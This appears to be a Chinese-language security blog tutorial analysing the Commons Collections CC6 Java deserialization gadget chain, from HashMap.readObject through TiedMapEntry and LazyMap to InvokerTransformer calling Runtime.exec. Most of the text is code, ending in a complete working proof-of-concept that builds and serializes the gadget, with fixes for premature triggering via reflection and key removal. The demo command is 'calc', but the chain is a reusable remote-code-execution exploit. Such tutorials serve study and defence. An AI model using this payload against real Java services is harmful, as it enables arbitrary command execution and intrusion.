CC6链
tips:cc6这条链是不受jdk版本限制的
cc6的入口换成了HashMap
的readObject
方法,这条链实际是要调用LazyMap的get方法 ,后面的部分就和ysoserial中的cc1后半链一样了
当时我们说URLDNS链中讲到了 HashMap
的readObject
方法,调用了hashCode
方法,现在我们需要去找一个类,它的hashCode
方法需要去调用LazyMap
的get
方法
CC6攻击链分析
调用LazyMap.get
这里就是`TiedMapEntry`类(以下是该类的部分代码)
该类的hashCode
方法调用了自身类的getValue
方法,该方法中调用了map的get
方法,该类的map和key参数都是可控的,map为LazyMap
时,就会调用LazyMap
的get
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
剩下的部分都和cc1是相同的
1 2 3 4 5 6 7 8 9 10 11 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map1 = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map1, chainedTransformer);
现在我们需要一个构造TiedMapEntry类,由于它是public属性的,我们直接new就可以了
1 2 3 4 5 TiedMapEntry entry = new TiedMapEntry (lazyMap, 1 )HashMap<Object,Object> map2 = new HashMap <>(); map2.put(entry, 2 );
下面我会给出链子相关的源码,来简单看一下这条链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
构造的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map1 = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map1, chainedTransformer); TiedMapEntry entry = new TiedMapEntry (lazyMap, 1 ); HashMap<Object,Object> map2 = new HashMap <>(); map2.put(entry, 2 ); unserialize("ser.bin" ); }
最后调整
现在有一个问题就是,在put(entry,1)的时候,就已经触发了计算器
是因为在HashMap的put方法时,就已经触发了它的hash方法(部分代码rux)
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
我们现在回到URLDNS那个链的想法,先传入一个无用的东西,然后通过反射修改
1 2 3 4 5 6 7 Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer (1 )); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,chainedTransformer);
但是实际情况还是无法执行,我们跟进去看一下
这里实际上说,如果在map中没有这个key的话,就把他put进去,实际上确实是没有这个key的,所以它也确实put了一个东西进去
1 2 3 4 5 6 7 8 9 10 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
这里我们可以简单跟一下,在最后的LazyMap.get中put了一个键值对,这个key就是我们在构造TiedMapEntry
时所传入的key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 map2.put(entry, "qwe" ); public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
这里也很简单,只需要把put进去lazyMap的remove掉不就好了吗(最终poc如下)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map1 = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer (1 )); TiedMapEntry entry = new TiedMapEntry (lazyMap, "abc" ); HashMap<Object,Object> map2 = new HashMap <>(); map2.put(entry, "qwe" ); lazyMap.remove("abc" ); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,chainedTransformer); serialize(map2); unserialize("ser.bin" ); }